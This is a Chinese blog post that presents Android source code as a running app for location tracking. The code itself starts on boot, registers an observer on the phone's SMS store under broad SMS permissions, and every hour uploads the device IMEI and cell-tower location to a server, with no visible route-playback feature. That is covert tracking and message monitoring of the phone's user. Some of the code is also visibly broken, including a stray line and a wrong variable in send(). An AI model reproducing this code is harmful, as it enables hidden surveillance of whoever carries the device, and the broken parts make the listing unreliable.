android开发一个定位和轨迹播放的程序

19 篇文章 0 订阅

最近很多的跑步app,大概功能就是点击“开始”就自动定位,然后记录位置,上传到服务端(也有不上传的),最后将运动的轨迹在地图上显示出来。因为开启gps一般是每3、5秒就记录一下当前的gps,为此需要一个本地数据库支持,可以将位置信息每隔3秒记录一次并保存到本地数据库,然后设置一个消息服务,定时10分钟后上传一次本地数据库到服务器端,同时可以删除本地数据以减少数据空间占用量。

以下是代码:

配置文件:AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.totlbs.app" >

    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
    <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
    <uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.totlbs.app.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="com.totlbs.app.Service.GpsService"></service>
        <service android:name="com.totlbs.app.Service.LbsService"></service>
        <receiver android:name="com.totlbs.app.Receiver.BootCompletedReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>


主程序布局页activity_main.xml

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:paddingBottom="@dimen/activity_vertical_margin"
    tools:context="com.totlbs.app.MainActivity">

    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Start Service"
        android:id="@+id/button"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:onClick="startService" />

</RelativeLayout>

主界面程序MainActivity.java

package com.totlbs.app;

import android.content.Intent;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;

import com.totlbs.app.Service.GpsService;


public class MainActivity extends ActionBarActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    public void startService(View view){
        Intent newIntent = new Intent(MainActivity.this, GpsService.class);
        newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
        Log.i("GpsService", "Start Service");
        startService(newIntent);
    }

    public void stopService(View view){
        Intent newIntent = new Intent(MainActivity.this, GpsService.class);
        //newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
        Log.i("GpsService", "Stop Service");
        stopService(newIntent);
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }

}

GpsServer.java

package com.totlbs.app.Service;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.os.Binder;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.totlbs.app.Mobile.SMSConstant;
import com.totlbs.app.Mobile.SMSHandler;
import com.totlbs.app.Mobile.SMSObserver;
import com.totlbs.app.Receiver.BootCompletedReceiver;

import java.io.DataOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Calendar;

/**
 * Created by Administrator on 14-5-15.
 */
public class GpsService extends Service {
    private static final String TAG = "GpsService";
    private SMSObserver mObserver;
    @Override
    public IBinder onBind(Intent intent) {
        Log.i(TAG, "gbs_onBind");
        return null;
    }

    @Override
    public void onCreate() {
        Log.i(TAG, "gbs_onCreate");
        Intent intent =new Intent(GpsService.this, BootCompletedReceiver.class);
        intent.setAction("com.totlbs.app.lbs.start");
        PendingIntent sender=PendingIntent.getBroadcast(GpsService.this, 0, intent, 0);
        AlarmManager alarm=(AlarmManager)getSystemService(ALARM_SERVICE);
        alarm.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),60*60*1000,sender);
        //开始短信监听
        addSMSObserver();
        super.onCreate();
    }

    @Override
    public void onDestroy() {
        Log.i(TAG, "gbs_onDestroy");
        Intent intent =new Intent(GpsService.this, BootCompletedReceiver.class);
        intent.setAction("com.totlbs.app.lbs.start");
        PendingIntent sender=PendingIntent.getBroadcast(GpsService.this, 0, intent, 0);
        AlarmManager alarm=(AlarmManager)getSystemService(ALARM_SERVICE);
        alarm.cancel(sender);
        //删除短信监听
        this.getContentResolver().unregisterContentObserver(mObserver);
        super.onDestroy();
        System.exit(0);
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        Log.i(TAG, "gbs_onStartCommand");
        return super.onStartCommand(intent, flags, startId);
    }

    public void addSMSObserver()
    {
        Log.i(TAG, "add a SMS observer. ");
        ContentResolver resolver = getContentResolver();
        Handler handler = new SMSHandler(GpsService.this);
        mObserver = new SMSObserver(resolver, handler);
        resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, mObserver);
    }
}

LbsService.java

package com.totlbs.app.Service;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Binder;
import android.os.IBinder;
import android.util.Log;

import com.totlbs.app.Util.GpsUtil;
import com.totlbs.app.Util.HttpUtil;
import com.totlbs.app.Util.PhoneUtil;

import java.io.DataOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;

/**
 * Created by Administrator on 14-5-15.
 */
public class LbsService extends Service {
    private static final String TAG = "GpsService";

    @Override
    public IBinder onBind(Intent intent) {
        Log.i(TAG, "lbs_onBind");
        return null;
    }

    @Override
    public void onCreate() {
        Log.i(TAG, "lbs_onCreate");

        super.onCreate();
    }

    @Override
    public void onDestroy() {
        Log.i(TAG, "lbs_onDestroy");
        super.onDestroy();
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        Log.i(TAG, "lbs_onStartCommand");
        PhoneUtil.send(this);
        /*
        if(!isOPenGps(this)){
            Log.i(TAG, "gps not open");
            PhoneUtil.send(this);
        }else{
            Log.i(TAG, "gps open");
            GpsUtil gu=new GpsUtil();
            gu.getLocation(this);
        }
        */
        return super.onStartCommand(intent, flags, startId);
    }

    /**
     * 判断GPS是否开启,GPS或者AGPS开启一个就认为是开启的
     * @param context
     * @return true 表示开启
     */
    public  boolean isOPenGps(Context context) {
        LocationManager lm= (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
        // 通过GPS卫星定位,定位级别可以精确到街(通过24颗卫星定位,在室外和空旷的地方定位准确、速度快)
        boolean gps = lm.isProviderEnabled(LocationManager.GPS_PROVIDER);
        // 通过WLAN或移动网络(3G/2G)确定的位置(也称作AGPS,辅助GPS定位。主要用于在室内或遮盖物(建筑群或茂密的深林等)密集的地方定位)
        //boolean network = lm.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
        if (gps) {
            return true;
        }

        return false;
    }
}

BootCompletedReceiver.java

package com.totlbs.app.Receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import com.totlbs.app.Service.GpsService;
import com.totlbs.app.Service.LbsService;

/**
 * Created by Administrator on 14-5-15.
 */
public class BootCompletedReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED))
        {
            Intent newIntent = new Intent(context, GpsService.class);
            newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
            Log.i("GpsService", "Start Gps Service");
            context.startService(newIntent);
        }else if(intent.getAction().equals("com.totlbs.app.lbs.start")){
            Intent newIntent = new Intent(context, LbsService.class);
            newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
            Log.i("GpsService", "Start Lbs Service");
            context.startService(newIntent);
        }else if(intent.getAction().equals("com.totlbs.app.lbs.stop")){
            Intent newIntent = new Intent(context, LbsService.class);
            Log.i("GpsService", "Stop Lbs Service");
            context.stopService(newIntent);
        }
    }
}


GpsUtil.java

package com.totlbs.app.Util;

import android.content.Context;
import android.location.Criteria;
import android.location.GpsSatellite;
import android.location.GpsStatus;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.location.LocationProvider;
import android.os.Bundle;
import android.util.Log;

import java.util.Iterator;

/**
 * Created by Administrator on 14-5-21.
 */
public class GpsUtil {
    private LocationManager lm;
    Location location;
    String bestProvider;
    boolean isget=false;
    String TAG="GpsUtil";
    String deviceid;
    //位置监听
    LocationListener locationListener=new LocationListener() {
        /**
         * 位置信息变化时触发
         */
        public void onLocationChanged(Location location) {
            send(location);            
        }

        /**
         * GPS状态变化时触发
         */
        public void onStatusChanged(String provider, int status, Bundle extras) {
            switch (status) {
                //GPS状态为可见时
                case LocationProvider.AVAILABLE:
                    Log.i(TAG, "当前GPS状态为可见状态");
                    break;
                //GPS状态为服务区外时
                case LocationProvider.OUT_OF_SERVICE:
                    Log.i(TAG, "当前GPS状态为服务区外状态");
                    break;
                //GPS状态为暂停服务时
                case LocationProvider.TEMPORARILY_UNAVAILABLE:
                    Log.i(TAG, "当前GPS状态为暂停服务状态");
                    break;
            }
        }

        /**
         * GPS开启时触发
         */
        public void onProviderEnabled(String provider) {
            Location location=lm.getLastKnownLocation(provider);
            send(location);
        }

        /**
         * GPS禁用时触发
         */
        public void onProviderDisabled(String provider) {
            send(null);
        }


    };

    //状态监听
    GpsStatus.Listener listener = new GpsStatus.Listener() {
        public void onGpsStatusChanged(int event) {
            switch (event) {
                //第一次定位
                case GpsStatus.GPS_EVENT_FIRST_FIX:
                    Log.i(TAG, "第一次定位");
                    break;
                //卫星状态改变
                case GpsStatus.GPS_EVENT_SATELLITE_STATUS:
                    Log.i(TAG, "卫星状态改变");
                    //获取当前状态
                    GpsStatus gpsStatus=lm.getGpsStatus(null);
                    //获取卫星颗数的默认最大值
                    int maxSatellites = gpsStatus.getMaxSatellites();
                    //创建一个迭代器保存所有卫星
                    Iterator<GpsSatellite> iters = gpsStatus.getSatellites().iterator();
                    int count = 0;
                    while (iters.hasNext() && count <= maxSatellites) {
                        GpsSatellite s = iters.next();
                        count++;
                    }
                    Log.i(TAG,"搜索到:"+count+"颗卫星");
                    break;
                //定位启动
                case GpsStatus.GPS_EVENT_STARTED:
                    Log.i(TAG, "定位启动");
                    break;
                //定位结束
                case GpsStatus.GPS_EVENT_STOPPED:
                    Log.i(TAG, "定位结束");
                    break;
            }
        };
    };
    public void getLocation(Context ctx){
        deviceid=PhoneUtil.getDeviceId(ctx);
        lm=(LocationManager)ctx.getSystemService(Context.LOCATION_SERVICE);
        bestProvider = lm.getBestProvider(getCriteria(), true);
        lm.addGpsStatusListener(listener);
        //注意:此处更新准确度非常低,推荐在service里面启动一个Thread,在run中sleep(10000);然后执行handler.sendMessage(),更新位置
        lm.requestLocationUpdates(LocationManager.GPS_PROVIDER, 10000, 10, locationListener);
        /
        new Thread(new Runnable(){
            @Override    public void run() {
                while (!isget) {
                    try {
                        Thread.sleep(3000);
                        Log.i(TAG, "wait 3 seconds");
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    if(lm!=null) {
                        //当结束服务时gps为空
                        // 获取经纬度
                        location = lm.getLastKnownLocation(bestProvider);
                        //如果gps无法获取经纬度,改用基站定位获取
                        if (location == null) {
                            Log.i(TAG, "gps location null");
                        }else {
                            Log.i(TAG, "success get location");
                            send(location);
                            isget=true;
                        }
                    }
                }
            }
        }).start();
    }

    public  void send(Location loc){
        if(loc!=null) {
            Log.i(TAG, "时间:" + location.getTime());
            Log.i(TAG, "经度:" + location.getLongitude());
            Log.i(TAG, "纬度:" + location.getLatitude());
            Log.i(TAG, "海拔:" + location.getAltitude());
            new Thread() {
                public void run() {
                    HttpUtil hu=new HttpUtil();
                    String pdata="deviceid="+deviceid+"&lng="+location.getLongitude()+"&lat="+ location.getLatitude()+"&t=gps";
                    hu.getHtml(Constant.LbsPostUrl, pdata, true, "utf-8");
                }
                ;
            }.start();
        }
    }
    /**
     * 返回查询条件
     * @return
     */
    private Criteria getCriteria(){
        Criteria criteria=new Criteria();
        //设置定位精确度 Criteria.ACCURACY_COARSE比较粗略,Criteria.ACCURACY_FINE则比较精细
        criteria.setAccuracy(Criteria.ACCURACY_FINE);
        //设置是否要求速度
        criteria.setSpeedRequired(false);
        // 设置是否允许运营商收费
        criteria.setCostAllowed(false);
        //设置是否需要方位信息
        criteria.setBearingRequired(false);
        //设置是否需要海拔信息
        criteria.setAltitudeRequired(false);
        // 设置对电源的需求
        criteria.setPowerRequirement(Criteria.POWER_LOW);
        return criteria;
    }
}

PhoneUtil.java

package com.totlbs.app.Util;

import android.content.Context;
import android.location.Location;
import android.telephony.NeighboringCellInfo;
import android.telephony.TelephonyManager;
import android.telephony.cdma.CdmaCellLocation;
import android.telephony.gsm.GsmCellLocation;
import android.util.Log;

import java.util.ArrayList;
import java.util.List;

/**
 * Created by Administrator on 14-5-21.
 */

public class PhoneUtil {
    static String deviceid="";
    static CellInfo cif=null;
    public  static CellInfo getCellInfo(Context ctx){
        TelephonyManager tm = (TelephonyManager) ctx.getSystemService(ctx.TELEPHONY_SERVICE);
        //网络制式
        int type = tm.getNetworkType();
        /**
         * 获取SIM卡的IMSI码
         * SIM卡唯一标识:IMSI 国际移动用户识别码(IMSI:International Mobile Subscriber Identification Number)是区别移动用户的标志,
         * 储存在SIM卡中,可用于区别移动用户的有效信息。IMSI由MCC、MNC、MSIN组成,其中MCC为移动国家号码,由3位数字组成,
         * 唯一地识别移动客户所属的国家,我国为460;MNC为网络id,由2位数字组成,
         * 用于识别移动客户所归属的移动网络,中国移动为00,中国联通为01,中国电信为03;MSIN为移动客户识别码,采用等长11位数字构成。
         * 唯一地识别国内GSM移动通信网中移动客户。所以要区分是移动还是联通,只需取得SIM卡中的MNC字段即可
         */
        String imsi = tm.getSubscriberId();
        //为了区分移动、联通还是电信,推荐使用imsi来判断(万不得己的情况下用getNetworkType()判断,比如imsi为空时)
        if(imsi!=null&&!"".equals(imsi)){
            if (imsi.startsWith("46000") || imsi.startsWith("46002")) {// 因为移动网络编号46000下的IMSI已经用完,所以虚拟了一个46002编号,134/159号段使用了此编号
                // 中国移动
                return mobile(tm);
            } else if (imsi.startsWith("46001")) {
                // 中国联通
                return union(tm);
            } else if (imsi.startsWith("46003")) {
                // 中国电信
                return cdma(tm);
            }
        }else{
            // 在中国,联通的3G为UMTS或HSDPA,电信的3G为EVDO
            // 在中国,移动的2G是EGDE,联通的2G为GPRS,电信的2G为CDMA
            // String OperatorName = tm.getNetworkOperatorName();
            //中国电信
            if (type == TelephonyManager.NETWORK_TYPE_EVDO_A
                    || type == TelephonyManager.NETWORK_TYPE_EVDO_0
                    || type == TelephonyManager.NETWORK_TYPE_CDMA
                    || type ==TelephonyManager.NETWORK_TYPE_1xRTT){
                return cdma(tm);
            }
            //移动(EDGE(2.75G)是GPRS(2.5G)的升级版,速度比GPRS要快。目前移动基本在国内升级普及EDGE,联通则在大城市部署EDGE。)
            else if(type == TelephonyManager.NETWORK_TYPE_EDGE
                    || type == TelephonyManager.NETWORK_TYPE_GPRS ){
                return mobile(tm);
            }
            //联通(EDGE(2.75G)是GPRS(2.5G)的升级版,速度比GPRS要快。目前移动基本在国内升级普及EDGE,联通则在大城市部署EDGE。)
            else if(type == TelephonyManager.NETWORK_TYPE_GPRS
                    ||type == TelephonyManager.NETWORK_TYPE_EDGE
                    ||type == TelephonyManager.NETWORK_TYPE_UMTS
                    ||type == TelephonyManager.NETWORK_TYPE_HSDPA){
                return union(tm);
            }
        }
        return null;
    }
    public static void send(Context ctx){
        deviceid=getDeviceId(ctx);
        cif=getCellInfo(ctx);
        if(cif!=null) {
            Log.i("cell","send cell info");
            new Thread() {
                public void run() {
                    HttpUtil hu = new HttpUtil();
                    String pdata="deviceid="+deviceid+"&mcc="+cif.getMobileCountryCode()+"&mnc="+cif.getMobileNetworkCode()+"&cid="+cif.getCellId()+"&lac="+cif.getLocationAreaCode()+"&t=phone";
                    Log.i("",pdata);
                    hu.getHtml(Constant.LbsPostUrl, pdata, true, "utf-8");
                }

                ;
            }.start();
        }else{
            Log.i("cell","cell info null");
        }
    }
    public static String getDeviceId(Context ctx){
        TelephonyManager tm = (TelephonyManager) ctx.getSystemService(ctx.TELEPHONY_SERVICE);
        return tm.getDeviceId();
    }
    /**
     * 电信
     *
     * @param tm
     */
    private static CellInfo cdma(TelephonyManager tm) {
        CdmaCellLocation location = (CdmaCellLocation) tm.getCellLocation();
        CellInfo info = new CellInfo();
        info.setCellId(location.getBaseStationId());
        info.setLocationAreaCode(location.getNetworkId());
        info.setMobileNetworkCode(String.valueOf(location.getSystemId()));
        info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
        info.setRadioType("cdma");
        return info;
    }


    /**
     * 移动
     *
     * @param tm
     */
    private static CellInfo mobile(TelephonyManager tm) {
        GsmCellLocation location = (GsmCellLocation)tm.getCellLocation();
        CellInfo info = new CellInfo();
        info.setCellId(location.getCid());
        info.setLocationAreaCode(location.getLac());
        info.setMobileNetworkCode(tm.getNetworkOperator().substring(3, 5));
        info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
        info.setRadioType("gsm");
        return info;
    }


    /**
     *  联通
     *
     * @param tm
     */
    private static CellInfo union(TelephonyManager tm) {
        GsmCellLocation location = (GsmCellLocation)tm.getCellLocation();
        CellInfo info = new CellInfo();
        //经过测试,获取联通数据以下两行必须去掉,否则会出现错误,错误类型为JSON Parsing Error
        info.setMobileNetworkCode(tm.getNetworkOperator().substring(3, 5));
        info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
        info.setCellId(location.getCid());
        info.setLocationAreaCode(location.getLac());
        info.setRadioType("gsm");
        return info;
    }
}

关于地图轨迹的展示可以使用百度或高德的api实现 ,比较简单,就不贴代码了。另外在地位的时候,会经常出现跳点,或有时回到超点,这个可以使用位置计算,如果在移动过程中当前点和上一点距离为0的话或很小,说明没有移动,可以不记录,以节省资源。

  • 5
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值